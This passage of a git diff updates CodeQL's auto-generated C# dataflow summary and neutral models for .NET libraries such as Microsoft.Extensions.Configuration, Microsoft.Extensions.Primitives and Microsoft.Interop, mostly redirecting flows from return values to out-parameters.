"(Microsoft.Diagnostics.Tools.Pgo.Edge)", "", "Argument[0]", "Argument[this].Field[Microsoft.Diagnostics.Tools.Pgo.Node.OutEdgeList].Element", "value", "dfc-generated"] @@ -41,6 +39,8 @@ extensions: - ["Microsoft.Diagnostics.Tools.Pgo", "FlowSmoothing", "Perform", "(System.Int32)", "summary", "df-generated"] - ["Microsoft.Diagnostics.Tools.Pgo", "LbrEntry32", "ToString", "()", "summary", "df-generated"] - ["Microsoft.Diagnostics.Tools.Pgo", "LbrEntry64", "ToString", "()", "summary", "df-generated"] + - ["Microsoft.Diagnostics.Tools.Pgo", "LbrTraceEventData32", "Entries", "(Microsoft.Diagnostics.Tools.Pgo.LbrTraceEventData32,System.Int32)", "summary", "df-generated"] + - ["Microsoft.Diagnostics.Tools.Pgo", "LbrTraceEventData64", "Entries", "(Microsoft.Diagnostics.Tools.Pgo.LbrTraceEventData64,System.Int32)", "summary", "df-generated"] - ["Microsoft.Diagnostics.Tools.Pgo", "MinimumCostCirculation", "FindMinCostCirculation", "(Microsoft.Diagnostics.Tools.Pgo.CirculationGraph,System.Int32)", "summary", "df-generated"] - ["Microsoft.Diagnostics.Tools.Pgo", "MinimumCostCirculation", "FindNegativeCycle", "(Microsoft.Diagnostics.Tools.Pgo.CirculationGraph)", "summary", "df-generated"] - ["Microsoft.Diagnostics.Tools.Pgo", "Node", "NetInFlow", "()", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/Microsoft.Extensions.Configuration.Binder.SourceGeneration.model.yml b/csharp/ql/lib/ext/generated/Microsoft.Extensions.Configuration.Binder.SourceGeneration.model.yml index 3896f91e4b4..feff9830f60 100644 --- a/csharp/ql/lib/ext/generated/Microsoft.Extensions.Configuration.Binder.SourceGeneration.model.yml +++ b/csharp/ql/lib/ext/generated/Microsoft.Extensions.Configuration.Binder.SourceGeneration.model.yml @@ -6,14 +6,9 @@ extensions: data: - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", False, "AsConfigWithChildren", "(Microsoft.Extensions.Configuration.IConfiguration)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", False, "BindCore", "(Microsoft.Extensions.Configuration.IConfiguration,Microsoft.Extensions.Logging.Console.ConsoleFormatterOptions,System.Boolean,Microsoft.Extensions.Configuration.BinderOptions)", "", "Argument[0]", "Argument[1].Property[Microsoft.Extensions.Logging.Console.ConsoleFormatterOptions.TimestampFormat]", "taint", "dfc-generated"] - - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", False, "BindCore", "(Microsoft.Extensions.Configuration.IConfiguration,Microsoft.Extensions.Logging.Console.ConsoleFormatterOptions,System.Boolean,Microsoft.Extensions.Configuration.BinderOptions)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", False, "BindCore", "(Microsoft.Extensions.Configuration.IConfiguration,Microsoft.Extensions.Logging.Console.ConsoleLoggerOptions,System.Boolean,Microsoft.Extensions.Configuration.BinderOptions)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", False, "BindCore", "(Microsoft.Extensions.Configuration.IConfiguration,Microsoft.Extensions.Logging.Console.ConsoleLoggerOptions,System.Boolean,Microsoft.Extensions.Configuration.BinderOptions)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", False, "BindCore", "(Microsoft.Extensions.Configuration.IConfiguration,Microsoft.Extensions.Logging.Console.JsonConsoleFormatterOptions,System.Boolean,Microsoft.Extensions.Configuration.BinderOptions)", "", "Argument[0]", "Argument[1].Property[Microsoft.Extensions.Logging.Console.ConsoleFormatterOptions.TimestampFormat]", "taint", "dfc-generated"] - - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", False, "BindCore", "(Microsoft.Extensions.Configuration.IConfiguration,Microsoft.Extensions.Logging.Console.JsonConsoleFormatterOptions,System.Boolean,Microsoft.Extensions.Configuration.BinderOptions)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", False, "BindCore", "(Microsoft.Extensions.Configuration.IConfiguration,Microsoft.Extensions.Logging.Console.SimpleConsoleFormatterOptions,System.Boolean,Microsoft.Extensions.Configuration.BinderOptions)", "", "Argument[0]", "Argument[1].Property[Microsoft.Extensions.Logging.Console.ConsoleFormatterOptions.TimestampFormat]", "taint", "dfc-generated"] - - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", False, "BindCore", "(Microsoft.Extensions.Configuration.IConfiguration,Microsoft.Extensions.Logging.Console.SimpleConsoleFormatterOptions,System.Boolean,Microsoft.Extensions.Configuration.BinderOptions)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", False, "BindCore", "(Microsoft.Extensions.Configuration.IConfiguration,System.Text.Encodings.Web.JavaScriptEncoder,System.Boolean,Microsoft.Extensions.Configuration.BinderOptions)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", False, "BindCore", "(Microsoft.Extensions.Configuration.IConfiguration,System.Text.Json.JsonWriterOptions,System.Boolean,Microsoft.Extensions.Configuration.BinderOptions)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", False, "Bind_ConsoleFormatterOptions", "(Microsoft.Extensions.Configuration.IConfiguration,System.Object)", "", "Argument[0]", "Argument[1].Property[Microsoft.Extensions.Logging.Console.ConsoleFormatterOptions.TimestampFormat]", "taint", "dfc-generated"] - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", False, "Bind_ConsoleLoggerOptions", "(Microsoft.Extensions.Configuration.IConfiguration,System.Object)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", False, "Bind_JsonConsoleFormatterOptions", "(Microsoft.Extensions.Configuration.IConfiguration,System.Object)", "", "Argument[0]", "Argument[1].Property[Microsoft.Extensions.Logging.Console.ConsoleFormatterOptions.TimestampFormat]", "taint", "dfc-generated"] @@ -35,6 +30,8 @@ extensions: pack: codeql/csharp-all extensible: neutralModel data: + - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", "BindCore", "(Microsoft.Extensions.Configuration.IConfiguration,System.Text.Encodings.Web.JavaScriptEncoder,System.Boolean,Microsoft.Extensions.Configuration.BinderOptions)", "summary", "df-generated"] + - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", "BindCore", "(Microsoft.Extensions.Configuration.IConfiguration,System.Text.Json.JsonWriterOptions,System.Boolean,Microsoft.Extensions.Configuration.BinderOptions)", "summary", "df-generated"] - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", "GetValueCore", "(Microsoft.Extensions.Configuration.IConfiguration,System.Type,System.String)", "summary", "df-generated"] - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", "ParseBool", "(System.String,System.String)", "summary", "df-generated"] - ["Microsoft.Extensions.Configuration.Binder.SourceGeneration", "BindingExtensions", "ParseChar", "(System.String,System.String)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/Microsoft.Extensions.Configuration.model.yml b/csharp/ql/lib/ext/generated/Microsoft.Extensions.Configuration.model.yml index abd92a302ae..0dddff60e78 100644 --- a/csharp/ql/lib/ext/generated/Microsoft.Extensions.Configuration.model.yml +++ b/csharp/ql/lib/ext/generated/Microsoft.Extensions.Configuration.model.yml @@ -7,7 +7,7 @@ extensions: - ["Microsoft.Extensions.Configuration", "ChainedBuilderExtensions", False, "AddConfiguration", "(Microsoft.Extensions.Configuration.IConfigurationBuilder,Microsoft.Extensions.Configuration.IConfiguration)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.Extensions.Configuration", "ChainedBuilderExtensions", False, "AddConfiguration", "(Microsoft.Extensions.Configuration.IConfigurationBuilder,Microsoft.Extensions.Configuration.IConfiguration,System.Boolean)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.Extensions.Configuration", "ChainedConfigurationProvider", False, "ChainedConfigurationProvider", "(Microsoft.Extensions.Configuration.ChainedConfigurationSource)", "", "Argument[0].Property[Microsoft.Extensions.Configuration.ChainedConfigurationSource.Configuration]", "Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config]", "value", "dfc-generated"] - - ["Microsoft.Extensions.Configuration", "ChainedConfigurationProvider", False, "TryGet", "(System.String,System.String)", "", "Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config]", "ReturnValue", "taint", "dfc-generated"] + - ["Microsoft.Extensions.Configuration", "ChainedConfigurationProvider", False, "TryGet", "(System.String,System.String)", "", "Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config]", "Argument[1]", "taint", "dfc-generated"] - ["Microsoft.Extensions.Configuration", "ChainedConfigurationProvider", False, "get_Configuration", "()", "", "Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.Extensions.Configuration", "ConfigurationBinder", False, "Get", "(Microsoft.Extensions.Configuration.IConfiguration,System.Type)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Microsoft.Extensions.Configuration", "ConfigurationBinder", False, "Get", "(Microsoft.Extensions.Configuration.IConfiguration)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/Microsoft.Extensions.Diagnostics.Metrics.model.yml b/csharp/ql/lib/ext/generated/Microsoft.Extensions.Diagnostics.Metrics.model.yml index 00fd3977b49..7d360bace1c 100644 --- a/csharp/ql/lib/ext/generated/Microsoft.Extensions.Diagnostics.Metrics.model.yml +++ b/csharp/ql/lib/ext/generated/Microsoft.Extensions.Diagnostics.Metrics.model.yml @@ -5,7 +5,7 @@ extensions: extensible: summaryModel data: - ["Microsoft.Extensions.Diagnostics.Metrics", "IMetricsListener", True, "Initialize", "(Microsoft.Extensions.Diagnostics.Metrics.IObservableInstrumentsSource)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["Microsoft.Extensions.Diagnostics.Metrics", "IMetricsListener", True, "InstrumentPublished", "(System.Diagnostics.Metrics.Instrument,System.Object)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] + - ["Microsoft.Extensions.Diagnostics.Metrics", "IMetricsListener", True, "InstrumentPublished", "(System.Diagnostics.Metrics.Instrument,System.Object)", "", "Argument[this]", "Argument[1]", "value", "dfc-generated"] - ["Microsoft.Extensions.Diagnostics.Metrics", "MetricsBuilderConfigurationExtensions", False, "AddConfiguration", "(Microsoft.Extensions.Diagnostics.Metrics.IMetricsBuilder,Microsoft.Extensions.Configuration.IConfiguration)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.Extensions.Diagnostics.Metrics", "MetricsBuilderExtensions", False, "AddListener", "(Microsoft.Extensions.Diagnostics.Metrics.IMetricsBuilder,Microsoft.Extensions.Diagnostics.Metrics.IMetricsListener)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.Extensions.Diagnostics.Metrics", "MetricsBuilderExtensions", False, "AddListener", "(Microsoft.Extensions.Diagnostics.Metrics.IMetricsBuilder)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/Microsoft.Extensions.Primitives.model.yml b/csharp/ql/lib/ext/generated/Microsoft.Extensions.Primitives.model.yml index 001d2a74593..21b186db216 100644 --- a/csharp/ql/lib/ext/generated/Microsoft.Extensions.Primitives.model.yml +++ b/csharp/ql/lib/ext/generated/Microsoft.Extensions.Primitives.model.yml @@ -18,13 +18,12 @@ extensions: - ["Microsoft.Extensions.Primitives", "StringSegment", False, "ToString", "()", "", "Argument[this].Property[Microsoft.Extensions.Primitives.StringSegment.Buffer]", "ReturnValue", "taint", "dfc-generated"] - ["Microsoft.Extensions.Primitives", "StringSegment", False, "ToString", "()", "", "Argument[this].Property[Microsoft.Extensions.Primitives.StringSegment.Value]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.Extensions.Primitives", "StringSegment", False, "get_Value", "()", "", "Argument[this].Property[Microsoft.Extensions.Primitives.StringSegment.Buffer]", "ReturnValue", "taint", "dfc-generated"] - - ["Microsoft.Extensions.Primitives", "StringTokenizer+Enumerator", False, "Enumerator", "(Microsoft.Extensions.Primitives.StringTokenizer)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["Microsoft.Extensions.Primitives", "StringTokenizer+Enumerator", False, "Enumerator", "(Microsoft.Extensions.Primitives.StringTokenizer)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - ["Microsoft.Extensions.Primitives", "StringTokenizer+Enumerator", False, "get_Current", "()", "", "Argument[this].Property[Microsoft.Extensions.Primitives.StringTokenizer+Enumerator.Current]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.Extensions.Primitives", "StringTokenizer", False, "GetEnumerator", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["Microsoft.Extensions.Primitives", "StringTokenizer", False, "StringTokenizer", "(Microsoft.Extensions.Primitives.StringSegment,System.Char[])", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Microsoft.Extensions.Primitives", "StringTokenizer", False, "StringTokenizer", "(Microsoft.Extensions.Primitives.StringSegment,System.Char[])", "", "Argument[1].Element", "Argument[this]", "taint", "df-generated"] - ["Microsoft.Extensions.Primitives", "StringTokenizer", False, "StringTokenizer", "(System.String,System.Char[])", "", "Argument[1].Element", "Argument[this]", "taint", "df-generated"] - - ["Microsoft.Extensions.Primitives", "StringValues+Enumerator", False, "Enumerator", "(Microsoft.Extensions.Primitives.StringValues)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.Extensions.Primitives", "StringValues+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - addsTo: pack: codeql/csharp-all @@ -87,6 +86,7 @@ extensions: - ["Microsoft.Extensions.Primitives", "StringTokenizer+Enumerator", "MoveNext", "()", "summary", "df-generated"] - ["Microsoft.Extensions.Primitives", "StringTokenizer+Enumerator", "Reset", "()", "summary", "df-generated"] - ["Microsoft.Extensions.Primitives", "StringValues+Enumerator", "Dispose", "()", "summary", "df-generated"] + - ["Microsoft.Extensions.Primitives", "StringValues+Enumerator", "Enumerator", "(Microsoft.Extensions.Primitives.StringValues)", "summary", "df-generated"] - ["Microsoft.Extensions.Primitives", "StringValues+Enumerator", "MoveNext", "()", "summary", "df-generated"] - ["Microsoft.Extensions.Primitives", "StringValues+Enumerator", "Reset", "()", "summary", "df-generated"] - ["Microsoft.Extensions.Primitives", "StringValues", "op_Equality", "(Microsoft.Extensions.Primitives.StringValues,Microsoft.Extensions.Primitives.StringValues)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/Microsoft.Interop.model.yml b/csharp/ql/lib/ext/generated/Microsoft.Interop.model.yml index 906a985116b..4981aa7e92b 100644 --- a/csharp/ql/lib/ext/generated/Microsoft.Interop.model.yml +++ b/csharp/ql/lib/ext/generated/Microsoft.Interop.model.yml @@ -19,11 +19,11 @@ extensions: - ["Microsoft.Interop", "ByValueMarshalKindSupportDescriptor", False, "ByValueMarshalKindSupportDescriptor", "(Microsoft.Interop.ByValueMarshalKindSupportInfo,Microsoft.Interop.ByValueMarshalKindSupportInfo,Microsoft.Interop.ByValueMarshalKindSupportInfo,Microsoft.Interop.ByValueMarshalKindSupportInfo)", "", "Argument[1]", "Argument[this].Property[Microsoft.Interop.ByValueMarshalKindSupportDescriptor.InSupport]", "value", "dfc-generated"] - ["Microsoft.Interop", "ByValueMarshalKindSupportDescriptor", False, "ByValueMarshalKindSupportDescriptor", "(Microsoft.Interop.ByValueMarshalKindSupportInfo,Microsoft.Interop.ByValueMarshalKindSupportInfo,Microsoft.Interop.ByValueMarshalKindSupportInfo,Microsoft.Interop.ByValueMarshalKindSupportInfo)", "", "Argument[2]", "Argument[this].Property[Microsoft.Interop.ByValueMarshalKindSupportDescriptor.OutSupport]", "value", "dfc-generated"] - ["Microsoft.Interop", "ByValueMarshalKindSupportDescriptor", False, "ByValueMarshalKindSupportDescriptor", "(Microsoft.Interop.ByValueMarshalKindSupportInfo,Microsoft.Interop.ByValueMarshalKindSupportInfo,Microsoft.Interop.ByValueMarshalKindSupportInfo,Microsoft.Interop.ByValueMarshalKindSupportInfo)", "", "Argument[3]", "Argument[this].Property[Microsoft.Interop.ByValueMarshalKindSupportDescriptor.InOutSupport]", "value", "dfc-generated"] - - ["Microsoft.Interop", "ByValueMarshalKindSupportDescriptor", False, "GetSupport", "(Microsoft.Interop.ByValueContentsMarshalKind,Microsoft.Interop.TypePositionInfo,Microsoft.Interop.GeneratorDiagnostic)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["Microsoft.Interop", "ByValueMarshalKindSupportDescriptor", False, "GetSupport", "(Microsoft.Interop.ByValueContentsMarshalKind,Microsoft.Interop.TypePositionInfo,Microsoft.Interop.GeneratorDiagnostic)", "", "Argument[this]", "Argument[2]", "taint", "df-generated"] - ["Microsoft.Interop", "ByValueMarshalKindSupportInfo", False, "ByValueMarshalKindSupportInfo", "(Microsoft.Interop.ByValueMarshalKindSupport,System.String)", "", "Argument[1]", "Argument[this].Property[Microsoft.Interop.ByValueMarshalKindSupportInfo.details]", "value", "dfc-generated"] - - ["Microsoft.Interop", "ByValueMarshalKindSupportInfo", False, "GetSupport", "(Microsoft.Interop.TypePositionInfo,Microsoft.Interop.GeneratorDiagnostic)", "", "Argument[this].Property[Microsoft.Interop.ByValueMarshalKindSupportInfo.details]", "ReturnValue.Property[Microsoft.Interop.GeneratorDiagnostic+NotRecommended.Details]", "value", "dfc-generated"] - - ["Microsoft.Interop", "ByValueMarshalKindSupportInfo", False, "GetSupport", "(Microsoft.Interop.TypePositionInfo,Microsoft.Interop.GeneratorDiagnostic)", "", "Argument[this].Property[Microsoft.Interop.ByValueMarshalKindSupportInfo.details]", "ReturnValue.Property[Microsoft.Interop.GeneratorDiagnostic+NotSupported.NotSupportedDetails]", "value", "dfc-generated"] - - ["Microsoft.Interop", "ByValueMarshalKindSupportInfo", False, "GetSupport", "(Microsoft.Interop.TypePositionInfo,Microsoft.Interop.GeneratorDiagnostic)", "", "Argument[this].Property[Microsoft.Interop.ByValueMarshalKindSupportInfo.details]", "ReturnValue.Property[Microsoft.Interop.GeneratorDiagnostic+UnnecessaryData.UnnecessaryDataDetails]", "value", "dfc-generated"] + - ["Microsoft.Interop", "ByValueMarshalKindSupportInfo", False, "GetSupport", "(Microsoft.Interop.TypePositionInfo,Microsoft.Interop.GeneratorDiagnostic)", "", "Argument[this].Property[Microsoft.Interop.ByValueMarshalKindSupportInfo.details]", "Argument[1].Property[Microsoft.Interop.GeneratorDiagnostic+NotRecommended.Details]", "value", "dfc-generated"] + - ["Microsoft.Interop", "ByValueMarshalKindSupportInfo", False, "GetSupport", "(Microsoft.Interop.TypePositionInfo,Microsoft.Interop.GeneratorDiagnostic)", "", "Argument[this].Property[Microsoft.Interop.ByValueMarshalKindSupportInfo.details]", "Argument[1].Property[Microsoft.Interop.GeneratorDiagnostic+NotSupported.NotSupportedDetails]", "value", "dfc-generated"] + - ["Microsoft.Interop", "ByValueMarshalKindSupportInfo", False, "GetSupport", "(Microsoft.Interop.TypePositionInfo,Microsoft.Interop.GeneratorDiagnostic)", "", "Argument[this].Property[Microsoft.Interop.ByValueMarshalKindSupportInfo.details]", "Argument[1].Property[Microsoft.Interop.GeneratorDiagnostic+UnnecessaryData.UnnecessaryDataDetails]", "value", "dfc-generated"] - ["Microsoft.Interop", "CharMarshallingGeneratorResolver", False, "CharMarshallingGeneratorResolver", "(System.Boolean,System.String)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["Microsoft.Interop", "CharMarshallingInfoProvider", False, "CharMarshallingInfoProvider", "(Microsoft.Interop.DefaultMarshallingInfo)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Microsoft.Interop", "CollectionExtensions", False, "ToSequenceEqualImmutableArray", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "ReturnValue.Property[Microsoft.Interop.SequenceEqualImmutableArray`1.Comparer]", "value", "dfc-generated"] @@ -80,8 +80,8 @@ extensions: - ["Microsoft.Interop", "DiagnosticOr", False, "WithValue", "(T)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Microsoft.Interop", "DiagnosticOr", True, "get_Diagnostics", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["Microsoft.Interop", "DiagnosticOr", True, "get_Value", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["Microsoft.Interop", "ElementInfoProviderExtensions", False, "TryGetInfoForElementName", "(Microsoft.Interop.IElementInfoProvider,Microsoft.CodeAnalysis.AttributeData,System.String,Microsoft.Interop.GetMarshallingInfoCallback,Microsoft.Interop.TypePositionInfo)", "", "Argument[3].ReturnValue", "ReturnValue.Property[Microsoft.Interop.TypePositionInfo.MarshallingAttributeInfo]", "value", "dfc-generated"] - - ["Microsoft.Interop", "ElementInfoProviderExtensions", False, "TryGetInfoForParamIndex", "(Microsoft.Interop.IElementInfoProvider,Microsoft.CodeAnalysis.AttributeData,System.Int32,Microsoft.Interop.GetMarshallingInfoCallback,Microsoft.Interop.TypePositionInfo)", "", "Argument[3].ReturnValue", "ReturnValue.Property[Microsoft.Interop.TypePositionInfo.MarshallingAttributeInfo]", "value", "dfc-generated"] + - ["Microsoft.Interop", "ElementInfoProviderExtensions", False, "TryGetInfoForElementName", "(Microsoft.Interop.IElementInfoProvider,Microsoft.CodeAnalysis.AttributeData,System.String,Microsoft.Interop.GetMarshallingInfoCallback,Microsoft.Interop.TypePositionInfo)", "", "Argument[3].ReturnValue", "Argument[4].Property[Microsoft.Interop.TypePositionInfo.MarshallingAttributeInfo]", "value", "dfc-generated"] + - ["Microsoft.Interop", "ElementInfoProviderExtensions", False, "TryGetInfoForParamIndex", "(Microsoft.Interop.IElementInfoProvider,Microsoft.CodeAnalysis.AttributeData,System.Int32,Microsoft.Interop.GetMarshallingInfoCallback,Microsoft.Interop.TypePositionInfo)", "", "Argument[3].ReturnValue", "Argument[4].Property[Microsoft.Interop.TypePositionInfo.MarshallingAttributeInfo]", "value", "dfc-generated"] - ["Microsoft.Interop", "Forwarder", False, "AsNativeType", "(Microsoft.Interop.TypePositionInfo)", "", "Argument[0].Property[Microsoft.Interop.TypePositionInfo.ManagedType]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.Interop", "GeneratorDiagnostic+NotRecommended", False, "ToDiagnosticInfo", "(Microsoft.CodeAnalysis.DiagnosticDescriptor,Microsoft.CodeAnalysis.Location,System.String)", "", "Argument[0]", "ReturnValue.Property[Microsoft.Interop.DiagnosticInfo.Descriptor]", "value", "dfc-generated"] - ["Microsoft.Interop", "GeneratorDiagnostic+NotRecommended", False, "ToDiagnosticInfo", "(Microsoft.CodeAnalysis.DiagnosticDescriptor,Microsoft.CodeAnalysis.Location,System.String)", "", "Argument[1]", "ReturnValue.Property[Microsoft.Interop.DiagnosticInfo.Location]", "value", "dfc-generated"] @@ -118,11 +118,11 @@ extensions: - ["Microsoft.Interop", "ManualTypeMarshallingHelper", False, "TryGetMarshallersFromEntryTypeIgnoringElements", "(Microsoft.CodeAnalysis.INamedTypeSymbol,Microsoft.CodeAnalysis.ITypeSymbol,Microsoft.CodeAnalysis.Compilation,System.Action,System.Nullable)", "", "Argument[0].Property[Microsoft.CodeAnalysis.INamedTypeSymbol.OriginalDefinition]", "Argument[3].Parameter[0]", "value", "dfc-generated"] - ["Microsoft.Interop", "ManualTypeMarshallingHelper", False, "TryGetValueMarshallersFromEntryType", "(Microsoft.CodeAnalysis.INamedTypeSymbol,Microsoft.CodeAnalysis.ITypeSymbol,Microsoft.CodeAnalysis.Compilation,System.Action,System.Nullable)", "", "Argument[0].Property[Microsoft.CodeAnalysis.INamedTypeSymbol.OriginalDefinition]", "Argument[3].Parameter[0]", "value", "dfc-generated"] - ["Microsoft.Interop", "ManualTypeMarshallingHelper", False, "TryResolveEntryPointType", "(Microsoft.CodeAnalysis.INamedTypeSymbol,Microsoft.CodeAnalysis.ITypeSymbol,System.Boolean,System.Action,Microsoft.CodeAnalysis.ITypeSymbol)", "", "Argument[0].Property[Microsoft.CodeAnalysis.INamedTypeSymbol.OriginalDefinition]", "Argument[3].Parameter[0]", "value", "dfc-generated"] - - ["Microsoft.Interop", "ManualTypeMarshallingHelper", False, "TryResolveEntryPointType", "(Microsoft.CodeAnalysis.INamedTypeSymbol,Microsoft.CodeAnalysis.ITypeSymbol,System.Boolean,System.Action,Microsoft.CodeAnalysis.ITypeSymbol)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["Microsoft.Interop", "ManualTypeMarshallingHelper", False, "TryResolveEntryPointType", "(Microsoft.CodeAnalysis.INamedTypeSymbol,Microsoft.CodeAnalysis.ITypeSymbol,System.Boolean,System.Action,Microsoft.CodeAnalysis.ITypeSymbol)", "", "Argument[1]", "Argument[4]", "value", "dfc-generated"] - ["Microsoft.Interop", "ManualTypeMarshallingHelper", False, "TryResolveManagedType", "(Microsoft.CodeAnalysis.INamedTypeSymbol,Microsoft.CodeAnalysis.ITypeSymbol,System.Boolean,System.Action,Microsoft.CodeAnalysis.ITypeSymbol)", "", "Argument[0].Property[Microsoft.CodeAnalysis.INamedTypeSymbol.OriginalDefinition]", "Argument[3].Parameter[0]", "value", "dfc-generated"] - - ["Microsoft.Interop", "ManualTypeMarshallingHelper", False, "TryResolveManagedType", "(Microsoft.CodeAnalysis.INamedTypeSymbol,Microsoft.CodeAnalysis.ITypeSymbol,System.Boolean,System.Action,Microsoft.CodeAnalysis.ITypeSymbol)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["Microsoft.Interop", "ManualTypeMarshallingHelper", False, "TryResolveManagedType", "(Microsoft.CodeAnalysis.INamedTypeSymbol,Microsoft.CodeAnalysis.ITypeSymbol,System.Boolean,System.Action,Microsoft.CodeAnalysis.ITypeSymbol)", "", "Argument[1]", "Argument[4]", "value", "dfc-generated"] - ["Microsoft.Interop", "ManualTypeMarshallingHelper", False, "TryResolveMarshallerType", "(Microsoft.CodeAnalysis.INamedTypeSymbol,Microsoft.CodeAnalysis.ITypeSymbol,System.Action,Microsoft.CodeAnalysis.ITypeSymbol)", "", "Argument[0].Property[Microsoft.CodeAnalysis.INamedTypeSymbol.OriginalDefinition]", "Argument[2].Parameter[0]", "value", "dfc-generated"] - - ["Microsoft.Interop", "ManualTypeMarshallingHelper", False, "TryResolveMarshallerType", "(Microsoft.CodeAnalysis.INamedTypeSymbol,Microsoft.CodeAnalysis.ITypeSymbol,System.Action,Microsoft.CodeAnalysis.ITypeSymbol)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["Microsoft.Interop", "ManualTypeMarshallingHelper", False, "TryResolveMarshallerType", "(Microsoft.CodeAnalysis.INamedTypeSymbol,Microsoft.CodeAnalysis.ITypeSymbol,System.Action,Microsoft.CodeAnalysis.ITypeSymbol)", "", "Argument[1]", "Argument[3]", "value", "dfc-generated"] - ["Microsoft.Interop", "MarshalAsArrayInfo", False, "MarshalAsArrayInfo", "(System.Runtime.InteropServices.UnmanagedType,Microsoft.Interop.CharEncoding,System.Runtime.InteropServices.UnmanagedType,Microsoft.Interop.CountInfo)", "", "Argument[3]", "Argument[this].Property[Microsoft.Interop.MarshalAsArrayInfo.CountInfo]", "value", "dfc-generated"] - ["Microsoft.Interop", "MarshalAsAttributeParser", False, "MarshalAsAttributeParser", "(Microsoft.Interop.GeneratorDiagnosticsBag,Microsoft.Interop.DefaultMarshallingInfo)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Microsoft.Interop", "MarshalAsAttributeParser", False, "MarshalAsAttributeParser", "(Microsoft.Interop.GeneratorDiagnosticsBag,Microsoft.Interop.DefaultMarshallingInfo)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] @@ -156,9 +156,9 @@ extensions: - ["Microsoft.Interop", "MethodSignatureDiagnosticLocations", False, "MethodSignatureDiagnosticLocations", "(System.String,System.Collections.Immutable.ImmutableArray,Microsoft.CodeAnalysis.Location)", "", "Argument[1]", "Argument[this].Property[Microsoft.Interop.MethodSignatureDiagnosticLocations.ManagedParameterLocations]", "value", "dfc-generated"] - ["Microsoft.Interop", "MethodSignatureDiagnosticLocations", False, "MethodSignatureDiagnosticLocations", "(System.String,System.Collections.Immutable.ImmutableArray,Microsoft.CodeAnalysis.Location)", "", "Argument[2]", "Argument[this].Property[Microsoft.Interop.MethodSignatureDiagnosticLocations.FallbackLocation]", "value", "dfc-generated"] - ["Microsoft.Interop", "MethodSignatureElementInfoProvider", False, "MethodSignatureElementInfoProvider", "(Microsoft.CodeAnalysis.Compilation,Microsoft.Interop.GeneratorDiagnosticsBag,Microsoft.CodeAnalysis.IMethodSymbol,System.Collections.Immutable.ImmutableArray)", "", "Argument[2]", 